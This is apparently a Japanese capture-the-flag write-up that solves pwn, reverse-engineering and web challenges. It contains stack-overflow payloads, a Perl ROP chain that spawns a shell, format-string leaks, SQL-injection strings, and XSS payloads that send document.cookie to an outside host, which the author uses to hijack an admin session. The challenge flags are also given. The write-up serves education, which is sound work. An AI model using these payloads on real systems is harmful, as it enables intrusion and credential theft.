Q0 => 0Q
Q1 => 1Q
0q$ => $
1Q$ => $
0Q$ => incorrect
1q$ => incorrect
0-$ => incorrect
1-$ => incorrect
^-0 => incorrect
^-1 => incorrect
^-$ => correct
0- => -q
1- => -Q
flag
flag{wtf_tur1n9_c0mpl3t3}
pwn
beginner-generic-pwn-number-0
C言語のソースコード、ELFファイル、TCPサーバの接続情報が与えられた。
ソースコードを読むと、gets
関数でデータを読み込んだあと、
ある変数の値が-1
ならsystem("/bin/sh");
を実行するようになっていた。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルしてチェックすると、
401299: 48 8d 45 d0 lea -0x30(%rbp),%rax
40129d: 48 89 c7 mov %rax,%rdi
4012a0: e8 4b fe ff ff callq 4010f0 <gets@plt>
4012a5: 48 83 7d f8 ff cmpq $0xffffffffffffffff,-0x8(%rbp)
4012aa: 75 0c jne 4012b8 <main+0xc2>
4012ac: 48 8d 3d 35 0f 00 00 lea 0xf35(%rip),%rdi # 4021e8 <_IO_stdin_used+0x1e8>
4012b3: e8 08 fe ff ff callq 4010c0 <system@plt>
4012b8: b8 00 00 00 00 mov $0x0,%eax
となっており、gets
関数のデータの書き込み先からチェックしている変数までは0x28バイトであることがわかる。
これを踏まえ、バイナリエディタで
00000000 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 |ffffffffffffffff|
00000010 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 |ffffffffffffffff|
00000020 66 66 66 66 66 66 66 66 ff ff ff ff ff ff ff ff |ffffffff........|
00000030 0a
というファイルを作成し、Tera Termのファイル送信(バイナリ)で送信すると、シェルの操作が可能になった。
シェルでコマンドcat flag.txt
を実行することで、flagが得られた。
flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}
ret2generic-flag-reader
C言語のソースコード、ELFファイル、TCPサーバの接続情報が与えられた。
ソースコードを読むと、gets
関数でデータを読み込んでいる部分と、./flag.txt
を読み込んで出力する関数があった。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルしてチェックすると、
この関数のアドレスは0x4011f6であることがわかった。
00000000004011f6 <super_generic_flag_reading_function_please_ret_to_me>:
また、gets
関数のデータの書き込み先からリターンアドレスまでは0x28バイトであることがわかった。
00000000004013a5 <main>:
4013a5: f3 0f 1e fa endbr64
4013a9: 55 push %rbp
4013aa: 48 89 e5 mov %rsp,%rbp
(中略)
40141d: 48 8d 45 e0 lea -0x20(%rbp),%rax
401421: 48 89 c7 mov %rax,%rdi
401424: e8 b7 fc ff ff callq 4010e0 <gets@plt>
これを踏まえ、バイナリエディタで
00000000 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000010 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000020 72 62 70 72 62 70 72 62 a4 13 40 00 00 00 00 00 |rbprbprb..@.....|
00000030 f6 11 40 00 00 00 00 00 0a |..@......|
というファイルを作成した。
リターンアドレスを直接関数のアドレスに設定すると、
関数の呼び出し時はスタックポインタを16バイトにアラインメントするという制約に違反した状態になるので、
一旦ret
命令に飛ばしてアラインメントを調整している。
Tera Termでサーバに接続し、このファイルをファイル送信(バイナリ)で送信すると、flagが得られた。
flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}
printf-please
C言語のソースコード、ELFファイル、TCPサーバの接続情報が与えられた。
ソースコードを読むと、以下の処理をしていた。
-
flag.txt
の内容をスタック上に読み込む - データを1行読み込み、改行文字を
'\0'
に置き換える - 読み込んだデータの最初が
please
ならば、読み込んだデータをprintf
関数の第1引数に渡す
入力として
please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx %11$016llx %12$016llx %13$016llx %14$016llx %15$016llx %16$016llx
を与えてみると、
please 00007ffc709ce636 00007ffc709ce6d0 0000000000000000 0000000000000001 00007ff6b1931500 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 2520786c6c363130 786c6c3631302435 6c36313024362520 313024372520786c 24382520786c6c36 2520786c6c363130 to you too!
と出力された。よく見ると6番目にplease
に相当するデータが出力されていることがわかる。
さらに、ELFファイルをTDM-GCCのobjdumpで逆アセンブルしてチェックすると、以下の部分から、
flagのデータの先頭はplease
がある入力データの先頭の0x200バイト先にあることが読み取れた。
118c: 48 89 e5 mov %rsp,%rbp
118f: 4c 8d ac 24 00 02 00 lea 0x200(%rsp),%r13
(中略)
11e7: ba 00 02 00 00 mov $0x200,%edx
11ec: 4c 89 ee mov %r13,%rsi
11ef: 89 c7 mov %eax,%edi
11f1: 41 89 c4 mov %eax,%r12d
11f4: 31 c0 xor %eax,%eax
11f6: e8 35 ff ff ff callq 1130 <read@plt>
(中略)
1271: 48 89 ef mov %rbp,%rdi
1274: e8 87 fe ff ff callq 1100 <printf@plt>
ここで扱うデータ1個は8バイトなので、6番目から64個先のデータ、
すなわち70個目から出力すればflagが得られそうであることがわかる。
少し余裕を持たせた
please %68$016llx %69$016llx %70$016llx %71$016llx %72$016llx %73$016llx %74$016llx %75$016llx %76$016llx %77$016llx
というデータを入力として与えると、
please 0000000000000000 0000000000000000 336c707b67616c66 6e3172705f337361 5f687431775f6674 5f6e303174756163 000a7d6c78336139 0000000000000000 0000000000000000 0000000000000000 to you too!
という出力が返ってきた。
全部0でないデータをCyberChefに入力し、
- Fork (Split delimiter: 半角空白, Merge delimiter: 空文字列)
- From Hex
- Reverse
を適用すると、flagが得られた。
flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}
ret2the-unknown
C言語のソースコード ret2the-unknown.c
、
ELFファイル3個(ret2the-unknown
、libc-2.28.so
、ld-2.28.so
)、TCPサーバの接続情報が与えられた。
ソースコードは、gets
関数で入力を読み込んだ後、printf
のアドレスを出力するものだった。
ret2the-unknown
をTDM-GCCのobjdumpで逆アセンブルしてチェックすると、
main
関数のアドレスが0x401186
だとわかり、
さらにgets
関数で読み込んだデータの書き込み先からリターンアドレスまでは0x28バイトであるとわかった。
そこで、バイナリエディタで以下のファイルを作成した。
00000000 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000010 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000020 72 62 70 72 62 70 72 62 37 12 40 00 00 00 00 00 |rbprbprb7.@.....|
00000030 86 11 40 00 00 00 00 00 0a |..@......|
このファイルをTera Termのファイル送信(バイナリ)で送信すると、
アラインメント調整のためret
命令を経由し、main
関数をもう一度実行できる。
また、出力されるprintf
のアドレスが_IO_printf@@GLIBC_2.2.5
関数のアドレスであるであると仮定すると、
libc-2.28.so
のメモリ上の位置もわかる。
ROP (Return-Oriented Programming) を狙うためにlibc-2.28.so
からバイナリエディタでgadgetを探すと、
例えば以下の位置に見つかった。
pop rax; ret (58 c3) : 0x3a638
pop rdi; ret (5f c3) : 0x23a5f
pop rsi; ret (5e c3) : 0x2440e
pop rdx; ret (5a c3) : 0x106725
syscall (0f 05) : 0x24104
さらに、libc-2.28.so
のTDM-GCCのobjdumpによる逆アセンブル結果から
テキストエディタでret
を検索して調べたところ、例えば以下の部分がメモリへの書き込みに使えそうだった。
2393b: 48 89 05 26 cb 19 00 mov %rax,0x19cb26(%rip) # 1c0468 <_nl_msg_cat_cntr@@GLIBC_2.2.5+0xd8>
23942: c3 retq
これらを利用し、出力されるprintf
のアドレスを与えると、Tera Termのファイル送信(バイナリ)で送信することで
シェルを起動できるファイルを作るプログラムを作成した。
シェルを起動するファイルを作るプログラム
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) { die "please specify the place\n"; }
my $place = hex($ARGV[0]);
my $printf = 0x58560;
my $rax = 0x3a638;
my $rdi = 0x23a5f;
my $rsi = 0x2440e;
my $rdx = 0x106725;
my $syscall = 0x24104;
my $mem = 0x1c0468;
my $mov = 0x2393b;
my $key =
("d" x 0x20) . # fill the buffer
("s" x 8) . # rbp
pack("Q", $rax + $place - $printf) . # pop %rax; ret
"/bin/sh\0" . # rax = "/bin/sh"
pack("Q", $mov + $place - $printf) . # mov %rax,0x19cb26(%rip); ret
pack("Q", $rax + $place - $printf) . # pop %rax; ret
pack("Q", 59) . # rax = 59 (execve)
pack("Q", $rdi + $place - $printf) . # pop %rdi; ret
pack("Q", $mem + $place - $printf) . # rdi = the address of the buffer
pack("Q", $rsi + $place - $printf) . # pop %rsi; ret
pack("Q", 0) . # rsi = 0
pack("Q", $rdx + $place - $printf) . # pop %rdx; ret
pack("Q", 0) . # rdx = 0
pack("Q", $syscall + $place - $printf) . # syscall
"\n";
binmode(STDOUT);
print $key;
なぜか接続がすぐ切れてしまったものの、素早く操作をすることで、実際に作成したファイルを用いてシェルを起動でき、
シェルでコマンドcat flag.txt
を実行することでflagが得られた。
flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}
rev
wstrings
ELFファイルが与えられた。
バイナリエディタでチェックすると、flagと思われる文字列のデータが4バイトごとに入っている部分があった。
このELFファイルにCyberChefで
- Decode Text (Encoding: UTF-32LE (12000))
- Strings
を適用することで、flagが得られた。
flag{n0t_al1_str1ngs_ar3_sk1nny}
bread-making
ELFファイルと、TCPサーバの接続情報が与えられた。
strings
コマンドを適用してみると、よくあるシンボル名などの他に、以下のような文字列が出てきた。
出てきた文字列
it's the next morning
mom doesn't suspect a thing, but asks about some white dots on the bathroom floor
couldn't open/read flag file, contact an admin if running on server
mom finds flour in the sink and accuses you of making bread
mom finds flour on the counter and accuses you of making bread
mom finds burnt bread on the counter and accuses you of making bread
mom finds the window opened and accuses you of making bread
mom finds the fire alarm in the laundry room and accuses you of making bread
the tray burns you and you drop the pan on the floor, waking up the entire house
the flaming loaf sizzles in the sink
the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house
pull the tray out with a towel
there's no time to waste
pull the tray out
the window is closed
the fire alarm is replaced
you sleep very well
time to go to sleep
close the window
replace the fire alarm
brush teeth and go to bed
you've taken too long and fall asleep
the dough has risen, but mom is still awake
the dough has been forgotten, making an awful smell the next morning
the dough has risen
the bread needs to rise
wait 2 hours
wait 3 hours
the oven makes too much noise, waking up the entire house
the oven glows a soft red-orange
the dough is done, and needs to be baked
the dough wants to be baked
preheat the oven
preheat the toaster oven
mom comes home and finds the bowl
mom comes home and brings you food, then sees the bowl
the ingredients are added and stirred into a lumpy dough
mom comes home before you find a place to put the bowl
the box is nice and warm
leave the bowl on the counter
put the bowl on the bookshelf
hide the bowl inside a box
the kitchen catches fire, setting off the fire alarm and waking up the entire house
the bread has risen, touching the top of the oven and catching fire
45 minutes is an awfully long time
you've moved around too much and mom wakes up, seeing you bake bread
return upstairs
watch the bread bake
the sink is cleaned
the counters are cleaned
everything appears to be okay
the kitchen is a mess
wash the sink
clean the counters
get ready to sleep
the half-baked bread is disposed of
flush the bread down the toilet
the oven shuts off
cold air rushes in
there's smoke in the air
unplug the oven
unplug the fire alarm
open the window
you put the fire alarm in another room
one of the fire alarms in the house triggers, waking up the entire house
brother is still awake, and sees you making bread
you bring a bottle of oil and a tray
it is time to finish the dough
you've shuffled around too long, mom wakes up and sees you making bread
work in the kitchen
work in the basement
flour has been added
yeast has been added
salt has been added
water has been added
add ingredients to the bowl
add flour
add yeast
add salt
add water
we don't have that ingredient at home!
the timer makes too much noise, waking up the entire house
the bread is in the oven, and bakes for 45 minutes
you've forgotten how long the bread bakes
the timer ticks down
use the oven timer
set a timer on your phone
Tera Termでサーバに接続すると、
add ingredients to the bowl
と出力された。strings
の結果でこの近くにあった
add flour
を送信すると、
flour has been added
と出力された。さらに
add yeast
add salt
add water
の3行も送信すると、
the ingredients are added and stirred into a lumpy dough
と出力され、次の段階に進んだようだった。
TDM-GCCのobjdumpで逆アセンブルして見ると複雑そうだったので、
以下の手順でGhidraによる解析を行った。
- 解凍した中にあるファイル
ghidraRun.bat
を開くことで、Ghidraを起動する - メニューの File から New Project... を選ぶ
- Project Type を聞かれるので、Non-Shared Project を選んで Next を押す
- 新しい(空の)ディレクトリを作成する
- Project Directory を作成したディレクトリ、Project Name を適当な名前(例えば
aaa
)に設定し、Finish を押す - メニューの File から Import File... を選ぶ
- 解析対象のELFファイルを選ぶ
- ダイアログが2種類出るので、それぞれ OK を押す
- Tool Chest の緑のアイコン (CodeBrowser) を押す
- CodeBrowser が起動するので、メニューの File から Open... を選ぶ
- 解析対象のファイルを選ぶ
- Would you like to analyze it now? と聞かれるので、Yes を押す
- Analysis Options ダイアログが開くので、Analyze を押す
- Symbol Tree の所にある Functions を展開し、
FUN_00102180
を選択する
結果、
lVar6 = 0;
while( true ) {
iVar3 = strcmp(acStack200,*(char **)(puVar1 + lVar6 * 0x10 + 0x20));
if (iVar3 == 0) break;
lVar6 = lVar6 + 1;
if (lVar2 == lVar6) goto LAB_00102330;
}
iVar3 = (**(code **)(puVar1 + lVar6 * 0x10 + 0x28))();
if (iVar3 == -1) goto LAB_00102330;
という部分があり、文字列と関数の対応テーブルを引いているようだった。
ELFファイルを調べると、以下の対応テーブルが見つかった。
文字列と関数の対応テーブル
5080 000000000000000A 0000000000003327 "there's no time to waste"
5090 00000000000032A0 0000000000000002 "the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house"
50A0 0000000000003340 0000000000002660 "pull the tray out"
50B0 0000000000003308 0000000000002680 "pull the tray out with a towel"
50C0 000000000000001E 0000000000003396 "time to go to sleep"
50D0 00000000000033F0 0000000000000003 "you've taken too long and fall asleep"
50E0 00000000000033AA 00000000000026A0 "close the window"
50F0 00000000000033BB 00000000000026D0 "replace the fire alarm"
5100 00000000000033D2 0000000000002700 "brush teeth and go to bed"
5110 0000000000000000 0000000000000000
5120 000000000000001E 00000000000034A1 "the bread needs to rise"
5130 0000000000003448 0000000000000002 "the dough has been forgotten, making an awful smell the next morning"
5140 00000000000034B9 0000000000002720 "wait 2 hours"
5150 00000000000034C6 0000000000002740 "wait 3 hours"
5160 000000000000001E 0000000000003540 "the dough is done, and needs to be baked"
5170 0000000000003569 0000000000000002 "the dough wants to be baked"
5180 0000000000003585 0000000000002760 "preheat the oven"
5190 0000000000003596 0000000000002780 "preheat the toaster oven"
51A0 000000000000001E 0000000000003610 "the ingredients are added and stirred into a lumpy dough"
51B0 0000000000003650 0000000000000003 "mom comes home before you find a place to put the bowl"
51C0 00000000000036A0 00000000000027A0 "leave the bowl on the counter"
51D0 00000000000036BE 00000000000027C0 "put the bowl on the bookshelf"
51E0 00000000000036DC 00000000000027E0 "hide the bowl inside a box"
51F0 0000000000000000 0000000000000000
5200 000000000000000A 0000000000003798 "45 minutes is an awfully long time"
5210 00000000000037C0 0000000000000002 "you've moved around too much and mom wakes up, seeing you bake bread"
5220 0000000000003805 0000000000002800 "return upstairs"
5230 0000000000003815 0000000000002820 "watch the bread bake"
5240 000000000000001E 0000000000003875 "the kitchen is a mess"
5250 00000000000033F0 0000000000000004 "you've taken too long and fall asleep"
5260 000000000000388B 0000000000002840 "wash the sink"
5270 0000000000003899 0000000000002870 "clean the counters"
5280 00000000000038E8 00000000000028A0 "flush the bread down the toilet"
5290 00000000000038AC 00000000000028D0 "get ready to sleep"
52A0 0000000000000005 000000000000392E "there's smoke in the air"
52B0 00000000000039A8 0000000000000003 "one of the fire alarms in the house triggers, waking up the entire house"
52C0 0000000000003947 00000000000028F0 "unplug the oven"
52D0 0000000000003957 0000000000002940 "unplug the fire alarm"
52E0 000000000000396D 0000000000002990 "open the window"
52F0 0000000000000000 0000000000000000
5300 000000000000001E 0000000000003A58 "it is time to finish the dough"
5310 0000000000003A78 0000000000000002 "you've shuffled around too long, mom wakes up and sees you making bread"
5320 0000000000003AC0 0000000000002A10 "work in the kitchen"
5330 0000000000003AD4 0000000000002A30 "work in the basement"
5340 000000000000001E 0000000000003B3C "add ingredients to the bowl"
5350 0000000000003B80 0000000000000004 "we don't have that ingredient at home!"
5360 0000000000003B58 0000000000002A50 "add flour"
5370 0000000000003B62 0000000000002AB0 "add yeast"
5380 0000000000003B6C 0000000000002B10 "add salt"
5390 0000000000003B75 0000000000002B70 "add water"
53A0 000000000000000A 0000000000003BE8 "the bread is in the oven, and bakes for 45 minutes"
53B0 0000000000003C20 0000000000000002 "you've forgotten how long the bread bakes"
53C0 0000000000003C5F 0000000000002C00 "use the oven timer"
53D0 0000000000003C72 0000000000002C20 "set a timer on your phone"
さらに調査を進めた結果、このテーブルの各ブロックについて、
最初の文字列が出力されたら3番目以降の文字列のどれかまたは全てを送信することで、次に進めるようだった。
なぜか接続がすぐ切れてしまったので、送信する文字列をテキストエディタ上に用意し、
一気に貼り付けて送信するようにした。
結果、以下の文字列を送信することで、flagが得られた。
送信する文字列
add flour
add yeast
add salt
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed
flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}
web
inspect-me
WebページのURLが与えられた。
アクセスしてみると、
TODO: remove flag from HTML comment
と書かれていた。
ページのソースを表示してみると、
<!-- flag{inspect_me_like_123} -->
という形でflagが書かれていた。
flag{inspect_me_like_123}
orm-bad
WebページのURLと、サーバのプログラムapp.js
が与えられた。
WebページにはUsernameとPasswordを入力するフォームがあった。
app.js
をチェックすると、
"SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'"
というクエリを実行し、usernameがadmin
であればflagを出力するようになっていた。
Usernameをadmin' and (1=1 or ('1'='1
、Passwordを1')) and '1'='1
とすることで、flagが得られた。
flag{sqli_overused_again_0b4f6}
pastebin-1
WebページのURL、Admin Bot、サーバのプログラムmain.rs
が与えられた。
Webページにはテキストの入力欄があり、送信すると入力したテキストがそのままHTMLに反映されるようだった。
<img src="x" onerror="i=document.createElement('img');i.src='https://example.com/'+encodeURIComponent(document.cookie);document.body.appendChild(i);">
のexample.com
を自分のRequestBin.comのエンドポイントのドメインに置き換えたものを送信し、
生成されたページのURLをAdmin Botに送ると、RequestBinに
/flag%3Dflag%7Bd1dn7_n33d_70_b3_1n_ru57%7D
へのリクエストが発生した。
これにブラウザのコンソールでdecodeURIComponent
を適用することで、flagが得られた。
flag{d1dn7_n33d_70_b3_1n_ru57}
secure
WebページのURLと、サーバのプログラムindex.js
が与えられた。
WebページはUsernameとPasswordを入力するフォームだった。
index.js
をチェックすると、送信された内容に基づき
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}';`;
というクエリを実行し、結果が真ならばflagを出力するようになっていた。
とりあえず問題 orm-bad と同じ
Username: admin' and (1=1 or ('1'='1
、Password: 1')) and '1'='1
を入れてみると、
Incorrect username or password. Query: SELECT id FROM users WHERE username = 'YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE=' AND password = 'MScpKSBhbmQgJzEnPScx';
と表示された。クエリの受信側で変なことをしている様子はないので、送信側で加工しているようだ。
開発者ツールでチェックすると、要求ペイロードが
username=YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE%3D&password=MScpKSBhbmQgJzEnPScx
となっているリクエストがあった。このリクエストの要求ボディを
username=a&password='%20union%20select%20'1
に「編集して再送信」することで、flagが得られた。
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}
notes
WebページのURL、Admin Bot、サーバのデータ一式が与えられた。
Webページは、ユーザー名とパスワードで登録・ログインするとbodyとtagを指定してメモを投稿できるものだった。
与えられたファイル中のnotes/public/static/view/index.js
を読むと、入力データが
- bodyは、
<>"'
の4文字がエスケープされて反映される - tagはエスケープされないが、10文字を超えると8文字目以降が
...
に置換される
という処理を経てinnerHTML
で表示に反映されることがわかった。さらに、
- bodyでは、エスケープされない
`
を利用してJavaScriptの文字列リテラルを書くことができる - tagでは、属性と
'
を利用して周辺の余計なデータを無効化出来る (周辺で"
は使われているが、'
は使われていない)
ということに思い至った。
エスケープされないtagは文字数制限があるため、innerHTML
による反映でも動く短い属性名を探したところ、
Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy
において
<svg><set onend=alert(1) attributename=x dur=1s>
というものが見つかった。
これを応用し、以下のデータを上から順に投稿した。
body | tag |
---|---|
hello |
<svg x=' |
hello |
'><set a=' |
hello |
'dur=1 b=' |
hello |
' onend='` |
`; const a=document.createElement(`img`); /* |
public |
*/ a.src=`https://example.com/` + /* |
public |
*/ encodeURIComponent(document.cookie); /* |
public |
*/ document.body.appendChild(a); const x = ` |
`'/></svg> |
ただし、example.com
は自分のRequestBin.comのエンドポイントのドメインに置き換えた。
tagはselect
要素だったので、開発者ツールでoption
要素のvalue
属性を書き換えて投稿した。
その後View Notesのページに行くとRequestBinにcookieのデータが送られるのを確認できたので、
このページのURLをAdmin Botに送った。
すると、RequestBinに
/username%3Dadmin.uPoq5EHI5BXHy3ifvT25%252Fds2M3JH2JwsZJPpN0Vn1s8
へのリクエストがあった。
これにブラウザのコンソールでdecodeURIComponent
を適用し、
結果のうちusername=
の右側の文字列を開発者ツールでcookieのusername
に設定した。
さらに、一旦Homeに行き、そこからView Notesのページに行くと、flagが表示された。
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}